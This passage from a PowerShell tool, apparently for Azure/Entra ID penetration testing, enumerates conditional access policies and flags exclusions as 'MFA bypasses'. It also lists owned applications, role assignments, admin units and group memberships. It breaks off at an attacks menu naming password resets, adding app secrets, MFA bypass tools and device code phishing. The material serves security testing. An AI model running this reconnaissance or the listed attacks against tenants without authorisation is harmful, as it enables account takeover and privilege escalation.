| } 845 | 846 | if ($hasExclusions) { 847 | Write-Host "This Policy has Exclusions. Check for MFA Bypasses!!!" -ForegroundColor Red 848 | } 849 | 850 | if ($detail.Conditions.Users.Include) { 851 | $userIds = $detail.Conditions.Users.Include | ForEach-Object { $_.Users } | Select-Object -Unique 852 | $userNames = Resolve-Ids -Ids $userIds -Type "User" 853 | $includedUsers = ($userIds | ForEach-Object { $userNames[$_] }) -join ", " 854 | Write-Host "Included Users: $includedUsers" 855 | } 856 | 857 | if ($detail.Conditions.Users.Exclude) { 858 | $userIdsEx = $detail.Conditions.Users.Exclude | ForEach-Object { $_.Users } | Select-Object -Unique 859 | $userNamesEx = Resolve-Ids -Ids $userIdsEx -Type "User" 860 | $excludedUsers = ($userIdsEx | ForEach-Object { $userNamesEx[$_] }) -join ", " 861 | Write-Host "Excluded Users: $excludedUsers" 862 | } 863 | 864 | if ($detail.Conditions.Applications.Include) { 865 | $appIds = $detail.Conditions.Applications.Include | ForEach-Object { $_.Applications } | Select-Object -Unique 866 | $appNames = Resolve-Ids -Ids $appIds -Type "Application" 867 | $includedApps = ($appIds | ForEach-Object { $appNames[$_] }) -join ", " 868 | Write-Host "Included Applications: $includedApps" 869 | } 870 | 871 | if ($detail.Conditions.Applications.Exclude) { 872 | $appIdsEx = $detail.Conditions.Applications.Exclude | ForEach-Object { $_.Applications } | Select-Object -Unique 873 | $appNamesEx = Resolve-Ids -Ids $appIdsEx -Type "Application" 874 | $excludedApps = ($appIdsEx | ForEach-Object { $appNamesEx[$_] }) -join ", " 875 | Write-Host "Excluded Applications: $excludedApps" 876 | } 877 | 878 | if ($detail.Conditions.DevicePlatforms.Include) { 879 | $DevicePlatformsInclude = ($detail.Conditions.DevicePlatforms.Include | ForEach-Object { $_.DevicePlatforms }) -join ", " 880 | Write-Host "Included DevicePlatforms: $DevicePlatformsInclude" 881 | } 882 | 883 | if ($detail.Conditions.DevicePlatforms.Exclude) { 884 | $DevicePlatformsExclude = ($detail.Conditions.DevicePlatforms.Exclude | ForEach-Object { $_.DevicePlatforms }) -join ", " 885 | Write-Host "Excluded DevicePlatforms: $DevicePlatformsExclude" 886 | } 887 | 888 | if ($detail.Conditions.ClientTypes.Include) { 889 | $ClientsInclude = ($detail.Conditions.ClientTypes.Include | ForEach-Object { $_.ClientTypes }) -join ", " 890 | Write-Host "Included Clients: $ClientsInclude" 891 | } 892 | 893 | if ($detail.Conditions.ClientTypes.Exclude) { 894 | $ClientsExclude = ($detail.Conditions.ClientTypes.Exclude | ForEach-Object { $_.ClientTypes }) -join ", " 895 | Write-Host "Excluded Clients: $ClientsExclude" 896 | } 897 | 898 | if ($detail.Controls.Control) { 899 | $controls = ($detail.Controls.Control) -join ", " 900 | Write-Host "Controls Requirements (any): $controls" 901 | } 902 | 903 | if ($detail.SessionControls) { 904 | $sessionControls = ($detail.SessionControls) -join ", " 905 | Write-Host "Session controls: $sessionControls" 906 | } 907 | } 908 | } catch { 909 | Write-Error "Failed to parse policy details: $_" 910 | } 911 | } 912 | } 913 | 914 | # Main function to fetch CAPs inspired by Roadrecon by Dirk-jan https://github.com/dirkjanm/ROADtools/tree/master/roadrecon 915 | function ConditionalAccessPoliciesQuery { 916 | Clear-Host 917 | DisplayHeader 918 | Write-Host "Fetching Conditional Access Policies" -ForegroundColor Cyan 919 | 920 | # Get a Graph Access Token from the authenticated Azure CLI session 921 | $TokenResponse = az account get-access-token --resource https://graph.windows.net --tenant $Global:tenantID 922 | $accessToken = ($tokenResponse | ConvertFrom-Json).accessToken 923 | 924 | if (-not $accessToken) { 925 | Write-Error "Failed to obtain access token." 926 | return 927 | } 928 | 929 | # Define the policies endpoint 930 | $policiesEndpoint = "https://graph.windows.net/$tenantId/policies?api-version=1.61-internal" 931 | 932 | # Fetch and display data from the policies endpoint 933 | Write-Host "Attempting to fetch data from: $policiesEndpoint" -ForegroundColor Cyan 934 | $policies = Get-AllLegacyGraphData -AccessToken $accessToken -InitialEndpoint $policiesEndpoint 935 | 936 | # Filter policies where policyType equals 18 937 | $filteredPolicies = $policies | Where-Object { $_.policyType -eq 18 } 938 | Format-PolicyDetails -Policies $filteredPolicies 939 | Write-Host "`nPress any key to return to the queries menu..." 940 | [void][System.Console]::ReadKey($true) 941 | 942 | } 943 | 944 | # Function to query dynamic groups using Microsoft Graph PowerShell 945 | function DynamicGroupsQuery { 946 | Clear-Host 947 | DisplayHeader 948 | Write-Host "Dynamic Groups Query" -ForegroundColor Cyan 949 | 950 | try { 951 | Clear-Host 952 | DisplayHeader 953 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 954 | 955 | # Fetch dynamic groups using Microsoft Graph PowerShell 956 | $dynamicGroups = Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" 957 | 958 | foreach ($group in $dynamicGroups) { 959 | $groupName = $group.DisplayName 960 | $membershipQuery = $group.MembershipRule 961 | $Description = $group.Description 962 | Write-Output "Group Name: $groupName" 963 | Write-Output "Description: $Description" 964 | Write-Output "Membership Query: $membershipQuery" 965 | Write-Output "" 966 | } 967 | } 968 | catch { 969 | Write-Host "Error retrieving dynamic groups: $_" -ForegroundColor Red 970 | } 971 | 972 | Write-Host "`nPress any key to return to the queries menu..." 973 | [void][System.Console]::ReadKey($true) 974 | } 975 | 976 | # Function to query owned applications 977 | function OwnedApplicationsQuery { 978 | Clear-Host 979 | DisplayHeader 980 | Write-Host "Owned Applications Query" -ForegroundColor Cyan 981 | 982 | # Display logged-in users 983 | $accounts = @() 984 | $accountIds = @() 985 | if ($azureCliAccount -ne "Not logged in") { 986 | $accounts += $azureCliAccount 987 | $accountIds += $azureCliId 988 | } 989 | if ($azModuleAccount -ne "Not logged in") { 990 | $accounts += $azModuleAccount 991 | $accountIds += $azModuleId 992 | } 993 | if ($graphModuleAccount -ne "Not logged in") { 994 | $accounts += $graphModuleAccount 995 | $accountIds += $graphModuleId 996 | } 997 | 998 | # Show list and prompt for input 999 | for ($i = 0; $i -lt $accounts.Length; $i++) { 1000 | Write-Host "$($i + 1). $($accounts[$i])" -ForegroundColor Yellow 1001 | } 1002 | 1003 | Write-Host "Enter a number to select a user or type a custom Object ID:" 1004 | $input = Read-Host 1005 | 1006 | # Determine user ID 1007 | $userId = if ($input -match '^\d+$' -and [int]$input -le $accounts.Length) { 1008 | $accountIds[$input - 1] 1009 | } else { 1010 | $input 1011 | } 1012 | 1013 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1014 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1015 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1016 | Write-Host "4. All" -ForegroundColor Yellow 1017 | $toolChoice = Read-Host 1018 | 1019 | Start-Sleep -Seconds 2 1020 | 1021 | try { 1022 | Clear-Host 1023 | DisplayHeader 1024 | 1025 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1026 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1027 | 1028 | # List all Azure AD applications and check ownership 1029 | $apps = az ad app list --query '[].{Name: displayName, AppId: appId, ObjectId: id}' -o json | ConvertFrom-Json 1030 | $ownedApps = foreach ($app in $apps) { 1031 | $owners = az ad app owner list --id $app.ObjectId --query '[].id' -o tsv 1032 | if ($owners -contains $userId) { 1033 | [PSCustomObject]@{ 1034 | DisplayName = $app.Name 1035 | AppId = $app.AppId 1036 | ObjectId = $app.ObjectId 1037 | } 1038 | } 1039 | } 1040 | 1041 | if ($ownedApps) { 1042 | $cliOutput = $ownedApps | Format-Table -AutoSize | Out-String 1043 | Write-Host $cliOutput 1044 | } else { 1045 | Write-Host "No owned applications found for the user." -ForegroundColor Yellow 1046 | } 1047 | } 1048 | 1049 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1050 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1051 | $ownedObjects = Get-MgUserOwnedObject -UserId $userId -All 1052 | $apps = $ownedObjects | Where-Object { $_.AdditionalProperties.'@odata.type' -eq '#microsoft.graph.application' } 1053 | $graphOutput = $apps | ForEach-Object { 1054 | [PSCustomObject]@{ 1055 | DisplayName = $_.AdditionalProperties['displayName'] 1056 | AppId = $_.AdditionalProperties['appId'] 1057 | ObjectId = $_.Id 1058 | } 1059 | } | Format-Table -AutoSize | Out-String 1060 | Write-Host $graphOutput 1061 | } 1062 | } 1063 | catch { 1064 | Write-Host "Error retrieving owned applications: $_" -ForegroundColor Red 1065 | } 1066 | 1067 | Write-Host "`nPress any key to return to the queries menu..." 1068 | [void][System.Console]::ReadKey($true) 1069 | } 1070 | 1071 | # Function to query app details 1072 | function GetAppDetailsQuery { 1073 | Clear-Host 1074 | DisplayHeader 1075 | Write-Host "Get App Details Query" -ForegroundColor Cyan 1076 | Write-Host "Enter the app display name:" -ForegroundColor Yellow 1077 | $appName = Read-Host 1078 | 1079 | Start-Sleep -Seconds 2 # Delay to ensure environment stability 1080 | 1081 | try { 1082 | Clear-Host 1083 | DisplayHeader 1084 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1085 | $cliOutput = az ad app list --query "[?displayName=='$appName'] | [0].{DisplayName:displayName, Application_ID:appId, Object_ID:id}" --output table | Out-String 1086 | Write-Host $cliOutput 1087 | } 1088 | catch { 1089 | Write-Host "Error retrieving app details: $_" -ForegroundColor Red 1090 | } 1091 | 1092 | Write-Host "`nPress any key to return to the queries menu..." 1093 | [void][System.Console]::ReadKey($true) 1094 | } 1095 | 1096 | # Function to query password policy 1097 | function PasswordPolicyQuery { 1098 | Clear-Host 1099 | DisplayHeader 1100 | Write-Host "Password Policy Query" -ForegroundColor Cyan 1101 | Write-Host "This query will be performed using Microsoft Graph PowerShell Module." -ForegroundColor Yellow 1102 | 1103 | Start-Sleep -Seconds 2 # Delay to ensure environment stability 1104 | 1105 | try { 1106 | Clear-Host 1107 | DisplayHeader 1108 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1109 | $policy = Get-MgBetaDirectorySetting | Where-Object { $_.templateId -eq "5cf42378-d67d-4f36-ba46-e8b86229381d" } | ConvertTo-Json -Depth 50 1110 | $output = $policy | Format-Table | Out-String 1111 | Write-Host $output 1112 | } 1113 | catch { 1114 | Write-Host "Error retrieving password policy: $_" -ForegroundColor Red 1115 | } 1116 | 1117 | Write-Host "`nPress any key to return to the queries menu..." 1118 | [void][System.Console]::ReadKey($true) 1119 | } 1120 | 1121 | # Function to query administrative units 1122 | function AdministrativeUnitsQuery { 1123 | Clear-Host 1124 | DisplayHeader 1125 | Write-Host "Administrative Units Query" -ForegroundColor Cyan 1126 | 1127 | try { 1128 | # Retrieve all Administrative Units 1129 | $adminUnits = Get-MgDirectoryAdministrativeUnit 1130 | $results = @() # Initialize a collection to store the results 1131 | 1132 | # Retrieve all Directory Roles to avoid repetitive API calls 1133 | $directoryRoles = Get-MgDirectoryRole 1134 | 1135 | # Iterate through each Administrative Unit 1136 | foreach ($unit in $adminUnits) { 1137 | Write-Host "Processing Administrative Unit: $($unit.DisplayName)" -ForegroundColor Blue 1138 | 1139 | try { 1140 | # Get all Scoped Role Members for the current Administrative Unit 1141 | $members = Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $unit.Id 1142 | 1143 | # Retrieve all populated members (users) in the Administrative Unit 1144 | $populatedMembers = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $unit.Id | Select-Object -ExpandProperty additionalProperties 1145 | 1146 | # Collect User Principal Names of populated members 1147 | $populatedUserPrincipalNames = $populatedMembers | Where-Object { $_.userPrincipalName } | ForEach-Object { $_.userPrincipalName } 1148 | 1149 | # If Scoped Role Members exist, extract details 1150 | foreach ($member in $members) { 1151 | # Extract the role member info (e.g., user name and details) 1152 | $roleMember = $member | Select-Object -ExpandProperty roleMemberInfo 1153 | 1154 | # Retrieve the directory role details for the RoleId 1155 | $roleDetails = $directoryRoles | Where-Object { $_.Id -eq $member.RoleId } 1156 | 1157 | # Extract the display name of the role, if available 1158 | $roleName = if ($roleDetails) { $roleDetails.DisplayName } else { "Unknown Role" } 1159 | 1160 | # Add the extracted data to the results 1161 | $results += [pscustomobject]@{ 1162 | AdministrativeUnitName = $unit.DisplayName 1163 | RoleName = $roleName 1164 | RoleAssignedUsers = $roleMember.DisplayName 1165 | AUPopulatedUsers = ($populatedUserPrincipalNames -join ", ") # Join UPNs into a single string 1166 | } 1167 | 1168 | # Check if the current user is part of the RoleAssignedUsers 1169 | if ($roleMember.DisplayName -eq (Get-MgUser -UserId "$graphModuleAccount").DisplayName) { 1170 | Write-Host "NOTICE: You are a role member in '$($unit.DisplayName)' as '$roleName'." -ForegroundColor Green 1171 | } 1172 | } 1173 | 1174 | # If no Scoped Role Members exist but there are populated users, add them to results 1175 | if (-not $members -and $populatedUserPrincipalNames) { 1176 | $results += [pscustomobject]@{ 1177 | AdministrativeUnitName = $unit.DisplayName 1178 | RoleName = "N/A" 1179 | RoleAssignedUsers = "N/A" 1180 | AUPopulatedUsers = ($populatedUserPrincipalNames -join ", ") # Join UPNs into a single string 1181 | } 1182 | } 1183 | 1184 | } catch { 1185 | Write-Error "Failed to retrieve members for Administrative Unit: $($unit.DisplayName). Error: $_" 1186 | } 1187 | } 1188 | 1189 | # Display the results as a table 1190 | $output = $results | Format-Table -AutoSize | Out-String 1191 | Write-Host $output 1192 | 1193 | } catch { 1194 | Write-Host "Error retrieving administrative units: $_" -ForegroundColor Red 1195 | } 1196 | 1197 | Write-Host "`nPress any key to return to the queries menu..." 1198 | [void][System.Console]::ReadKey($true) 1199 | } 1200 | 1201 | # Function to query owned objects 1202 | function OwnedObjectsQuery { 1203 | Clear-Host 1204 | DisplayHeader 1205 | Write-Host "Owned Objects Query" -ForegroundColor Cyan 1206 | 1207 | # Display logged-in users 1208 | $accounts = @() 1209 | $accountIds = @() 1210 | if ($azureCliAccount -ne "Not logged in") { 1211 | $accounts += $azureCliAccount 1212 | $accountIds += $azureCliId 1213 | } 1214 | if ($azModuleAccount -ne "Not logged in") { 1215 | $accounts += $azModuleAccount 1216 | $accountIds += $azModuleId 1217 | } 1218 | if ($graphModuleAccount -ne "Not logged in") { 1219 | $accounts += $graphModuleAccount 1220 | $accountIds += $graphModuleId 1221 | } 1222 | 1223 | # Show list and prompt for input 1224 | for ($i = 0; $i -lt $accounts.Length; $i++) { 1225 | Write-Host "$($i + 1). $($accounts[$i])" -ForegroundColor Yellow 1226 | } 1227 | 1228 | Write-Host "Enter a number to select a user or type a custom Object ID:" 1229 | $input = Read-Host 1230 | 1231 | # Determine user ID 1232 | $userId = if ($input -match '^\d+$' -and [int]$input -le $accounts.Length) { 1233 | $accountIds[$input - 1] 1234 | } else { 1235 | $input 1236 | } 1237 | 1238 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1239 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1240 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1241 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1242 | Write-Host "4. All" -ForegroundColor Yellow 1243 | $toolChoice = Read-Host 1244 | 1245 | Start-Sleep -Seconds 2 1246 | 1247 | # Execute and print owned objects from selected tools 1248 | try { 1249 | Clear-Host 1250 | DisplayHeader 1251 | 1252 | # Azure CLI 1253 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1254 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1255 | if ($userId -eq $azureCliId) { 1256 | Write-Host "Only works for current user!!!" -ForegroundColor Yellow 1257 | $cliOutput = az ad signed-in-user list-owned-objects --output table | Out-String 1258 | Write-Host $cliOutput 1259 | } else { 1260 | Write-Host "AZ CLI does not support querying other users' owned objects directly." -ForegroundColor Yellow 1261 | } 1262 | } 1263 | 1264 | # Az PowerShell Module 1265 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1266 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1267 | Write-Host "Owned objects via Az PS Module not directly supported." -ForegroundColor Yellow 1268 | } 1269 | 1270 | # Graph PowerShell Module 1271 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1272 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1273 | $graphOutput = Get-MgUserOwnedObject -UserId $userId | Select-Object * -ExpandProperty additionalProperties | Out-String 1274 | Write-Host $graphOutput 1275 | } 1276 | } 1277 | catch { 1278 | Write-Host "Error retrieving owned objects: $_" -ForegroundColor Red 1279 | } 1280 | 1281 | Write-Host "`nPress any key to return to the queries menu..." 1282 | [void][System.Console]::ReadKey($true) 1283 | } 1284 | 1285 | # Function to query role assignments 1286 | function RoleAssignmentsQuery { 1287 | Clear-Host 1288 | DisplayHeader 1289 | Write-Host "Role Assignments Query" -ForegroundColor Cyan 1290 | 1291 | # Display logged-in users 1292 | $accounts = @() 1293 | $accountIds = @() 1294 | if ($azureCliAccount -ne "Not logged in") { 1295 | $accounts += $azureCliAccount 1296 | $accountIds += $azureCliId 1297 | } 1298 | if ($azModuleAccount -ne "Not logged in") { 1299 | $accounts += $azModuleAccount 1300 | $accountIds += $azModuleId 1301 | } 1302 | if ($graphModuleAccount -ne "Not logged in") { 1303 | $accounts += $graphModuleAccount 1304 | $accountIds += $graphModuleId 1305 | } 1306 | 1307 | # Show list and prompt for input 1308 | for ($i = 0; $i -lt $accounts.Length; $i++) { 1309 | Write-Host "$($i + 1). $($accounts[$i])" -ForegroundColor Yellow 1310 | } 1311 | 1312 | Write-Host "Enter a number to select a user or type a custom Object ID:" 1313 | $input = Read-Host 1314 | 1315 | # Determine user ID 1316 | $userId = if ($input -match '^\d+$' -and [int]$input -le $accounts.Length) { 1317 | $accountIds[$input - 1] 1318 | } else { 1319 | $input 1320 | } 1321 | 1322 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1323 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1324 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1325 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1326 | Write-Host "4. All" -ForegroundColor Yellow 1327 | $toolChoice = Read-Host 1328 | 1329 | Start-Sleep -Seconds 2 1330 | 1331 | try { 1332 | Clear-Host 1333 | DisplayHeader 1334 | 1335 | # Azure CLI 1336 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1337 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1338 | $cliOutput = az role assignment list --assignee "$userId" --all | Out-String 1339 | Write-Host $cliOutput 1340 | } 1341 | 1342 | # Az PowerShell Module 1343 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1344 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1345 | if ($userId){ 1346 | $psOutput = Get-AzRoleAssignment -ObjectId "$userId" | Format-list | Out-String 1347 | } 1348 | else { 1349 | $psOutput = Get-AzRoleAssignment | Format-list | Out-String 1350 | } 1351 | 1352 | Write-Host $psOutput 1353 | } 1354 | 1355 | # Graph PowerShell Module 1356 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1357 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1358 | Write-Host "Graph PS Module does not directly support listing role assignments in this context." -ForegroundColor Yellow 1359 | } 1360 | } 1361 | catch { 1362 | Write-Host "Error retrieving role assignments: $_" -ForegroundColor Red 1363 | } 1364 | 1365 | Write-Host "`nPress any key to return to the queries menu..." 1366 | [void][System.Console]::ReadKey($true) 1367 | } 1368 | 1369 | # Function to query available resources 1370 | function AvailableResourcesQuery { 1371 | Clear-Host 1372 | DisplayHeader 1373 | Write-Host "Available Resources Query" -ForegroundColor Cyan 1374 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1375 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1376 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1377 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1378 | Write-Host "4. All" -ForegroundColor Yellow 1379 | $toolChoice = Read-Host 1380 | 1381 | Start-Sleep -Seconds 2 1382 | 1383 | try { 1384 | Clear-Host 1385 | DisplayHeader 1386 | 1387 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1388 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1389 | $cliOutput = az resource list --output table | Out-String 1390 | Write-Host $cliOutput 1391 | } 1392 | 1393 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1394 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1395 | $psOutput = Get-AzResource | Format-Table | Out-String 1396 | Write-Host $psOutput 1397 | } 1398 | 1399 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1400 | Write-Host "Graph PS does not support direct resource queries in this context." -ForegroundColor Yellow 1401 | } 1402 | } 1403 | catch { 1404 | Write-Host "Error retrieving available resources: $_" -ForegroundColor Red 1405 | } 1406 | 1407 | Write-Host "`nPress any key to return to the queries menu..." 1408 | [void][System.Console]::ReadKey($true) 1409 | } 1410 | 1411 | # Function to query user information 1412 | function UserInfoQuery { 1413 | Clear-Host 1414 | DisplayHeader 1415 | Write-Host "User Info Query" -ForegroundColor Cyan 1416 | 1417 | # Display logged-in users 1418 | $accounts = @() 1419 | $accountIds = @() 1420 | if ($azureCliAccount -ne "Not logged in") { 1421 | $accounts += $azureCliAccount 1422 | $accountIds += $azureCliId 1423 | } 1424 | if ($azModuleAccount -ne "Not logged in") { 1425 | $accounts += $azModuleAccount 1426 | $accountIds += $azModuleId 1427 | } 1428 | if ($graphModuleAccount -ne "Not logged in") { 1429 | $accounts += $graphModuleAccount 1430 | $accountIds += $graphModuleId 1431 | } 1432 | 1433 | # Show list and prompt for input 1434 | for ($i = 0; $i -lt $accounts.Length; $i++) { 1435 | Write-Host "$($i + 1). $($accounts[$i])" -ForegroundColor Yellow 1436 | } 1437 | 1438 | Write-Host "Enter a number to select a user or type a custom Object ID:" 1439 | $input = Read-Host 1440 | 1441 | # Determine user ID 1442 | $userId = if ($input -match '^\d+$' -and [int]$input -le $accounts.Length) { 1443 | $accountIds[$input - 1] 1444 | } else { 1445 | $input 1446 | } 1447 | 1448 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1449 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1450 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1451 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1452 | Write-Host "4. All" -ForegroundColor Yellow 1453 | $toolChoice = Read-Host 1454 | 1455 | Start-Sleep -Seconds 2 1456 | 1457 | try { 1458 | Clear-Host 1459 | DisplayHeader 1460 | Write-Host "Results:" -ForegroundColor Cyan 1461 | 1462 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1463 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1464 | $cliOutput = az ad user show --id "$userId" | Out-String 1465 | Write-Host $cliOutput 1466 | } 1467 | 1468 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1469 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1470 | $psOutput = Get-AzADUser -ObjectId "$userId" | Format-List | Out-String 1471 | Write-Host $psOutput 1472 | } 1473 | 1474 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1475 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1476 | $graphOutput = Get-MgUser -UserId "$userId" | Format-List | Out-String 1477 | Write-Host $graphOutput 1478 | } 1479 | } 1480 | catch { 1481 | Write-Host "Error retrieving user info: $_" -ForegroundColor Red 1482 | } 1483 | 1484 | Write-Host "`nPress any key to return to the queries menu..." 1485 | [void][System.Console]::ReadKey($true) 1486 | } 1487 | 1488 | # Function to query user groups 1489 | function UserGroupsQuery { 1490 | Clear-Host 1491 | DisplayHeader 1492 | Write-Host "User Groups Query" -ForegroundColor Cyan 1493 | 1494 | # Display logged-in users 1495 | $accounts = @() 1496 | $accountIds = @() 1497 | if ($azureCliAccount -ne "Not logged in") { 1498 | $accounts += $azureCliAccount 1499 | $accountIds += $azureCliId 1500 | } 1501 | if ($azModuleAccount -ne "Not logged in") { 1502 | $accounts += $azModuleAccount 1503 | $accountIds += $azModuleId 1504 | } 1505 | if ($graphModuleAccount -ne "Not logged in") { 1506 | $accounts += $graphModuleAccount 1507 | $accountIds += $graphModuleId 1508 | } 1509 | 1510 | # Show list and prompt for input 1511 | for ($i = 0; $i -lt $accounts.Length; $i++) { 1512 | Write-Host "$($i + 1). $($accounts[$i])" -ForegroundColor Yellow 1513 | } 1514 | 1515 | Write-Host "Enter a number to select a user or type a custom Object ID:" 1516 | $input = Read-Host 1517 | 1518 | # Determine user ID 1519 | $userId = if ($input -match '^\d+$' -and [int]$input -le $accounts.Length) { 1520 | $accountIds[$input - 1] 1521 | } else { 1522 | $input 1523 | } 1524 | 1525 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1526 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1527 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1528 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1529 | Write-Host "4. All" -ForegroundColor Yellow 1530 | $toolChoice = Read-Host 1531 | 1532 | Start-Sleep -Seconds 2 1533 | 1534 | try { 1535 | Clear-Host 1536 | DisplayHeader 1537 | Write-Host "Results:" -ForegroundColor Cyan 1538 | 1539 | # Azure CLI 1540 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1541 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1542 | $cliOutput = az ad user get-member-groups --id "$userId" --output table | Out-String 1543 | Write-Host $cliOutput 1544 | } 1545 | 1546 | # Az PowerShell Module 1547 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1548 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1549 | Write-Host "Enable/implement necessary logic for user: $userId" -ForegroundColor Yellow 1550 | # Note: Add your specific logic here to fetch group memberships 1551 | } 1552 | 1553 | # Graph PowerShell Module 1554 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1555 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1556 | $groups = Get-MgUserMemberOf -UserId $userId -All 1557 | $groupDetails = $groups | ForEach-Object { 1558 | $groupInfo = Get-MgGroup -GroupId $_.Id 1559 | [PSCustomObject]@{ 1560 | DisplayName = $groupInfo.DisplayName 1561 | Id = $groupInfo.Id 1562 | } 1563 | } | Format-Table -AutoSize | Out-String 1564 | Write-Host $groupDetails 1565 | } 1566 | } 1567 | catch { 1568 | Write-Host "Error retrieving user groups: $_" -ForegroundColor Red 1569 | } 1570 | 1571 | Write-Host "`nPress any key to return to the queries menu..." 1572 | [void][System.Console]::ReadKey($true) 1573 | } 1574 | 1575 | # Function to query group members 1576 | function GroupMembersQuery { 1577 | Clear-Host 1578 | DisplayHeader 1579 | Write-Host "Group Members Query" -ForegroundColor Cyan 1580 | Write-Host "Enter a group name:" -ForegroundColor Yellow 1581 | $groupName = Read-Host 1582 | 1583 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 1584 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 1585 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 1586 | Write-Host "3. Graph PS Module" -ForegroundColor Yellow 1587 | Write-Host "4. All" -ForegroundColor Yellow 1588 | $toolChoice = Read-Host 1589 | 1590 | Start-Sleep -Seconds 2 1591 | 1592 | try { 1593 | Clear-Host 1594 | DisplayHeader 1595 | 1596 | # Retrieve the group ID using the group name 1597 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 1598 | $groupId = az ad group show --group "$groupName" --query id -o tsv 1599 | if ($groupId) { 1600 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 1601 | $cliOutput = az ad group member list --group "$groupId" --output table | Out-String 1602 | Write-Host $cliOutput 1603 | } else { 1604 | Write-Host "Invalid group name for AZ CLI." -ForegroundColor Red 1605 | } 1606 | } 1607 | 1608 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 1609 | $group = Get-AzADGroup -DisplayName "$groupName" 1610 | if ($group) { 1611 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 1612 | $psOutput = Get-AzADGroupMember -GroupObjectId $group.Id | Format-Table | Out-String 1613 | Write-Host $psOutput 1614 | } else { 1615 | Write-Host "Invalid group name for Az PS Module." -ForegroundColor Red 1616 | } 1617 | } 1618 | 1619 | if ($toolChoice -eq "3" -or $toolChoice -eq "4") { 1620 | $group = Get-MgGroup -Filter "displayName eq '$groupName'" 1621 | if ($group) { 1622 | Write-Host "Graph PS Module output:" -ForegroundColor Magenta 1623 | $members = Get-MgGroupMember -GroupId $group.Id 1624 | $graphOutput = $members | ForEach-Object { 1625 | $user = Get-MgUser -UserId $_.Id 1626 | [PSCustomObject]@{ 1627 | DisplayName = $user.DisplayName 1628 | Id = $_.Id 1629 | } 1630 | } | Format-Table -AutoSize | Out-String 1631 | Write-Host $graphOutput 1632 | } else { 1633 | Write-Host "Invalid group name for Graph PS Module." -ForegroundColor Red 1634 | } 1635 | } 1636 | } 1637 | catch { 1638 | Write-Host "Error retrieving group members: $_" -ForegroundColor Red 1639 | } 1640 | 1641 | Write-Host "`nPress any key to return to the queries menu..." 1642 | [void][System.Console]::ReadKey($true) 1643 | } 1644 | 1645 | # Attacks menu structure 1646 | function AttacksMenu { 1647 | while ($true) { 1648 | Clear-Host 1649 | DisplayHeader 1650 | Write-Host "Attacks Menu" -ForegroundColor Cyan 1651 | Write-Host "1. Reset a User's Password via Graph PS Module" 1652 | Write-Host "2. Set New Secret for Application via Graph PS Module" 1653 | Write-Host "3. Set New Secret for Service Principal" 1654 | Write-Host "4. Try to bypass MFA with MFASweep" 1655 | Write-Host "5. Try to bypass MFA with GraphRunner" 1656 | Write-Host "6. Device Code Phishing" 1657 | Write-Host "B. Return to Main Menu" 1658 | 1659 | $userInput = 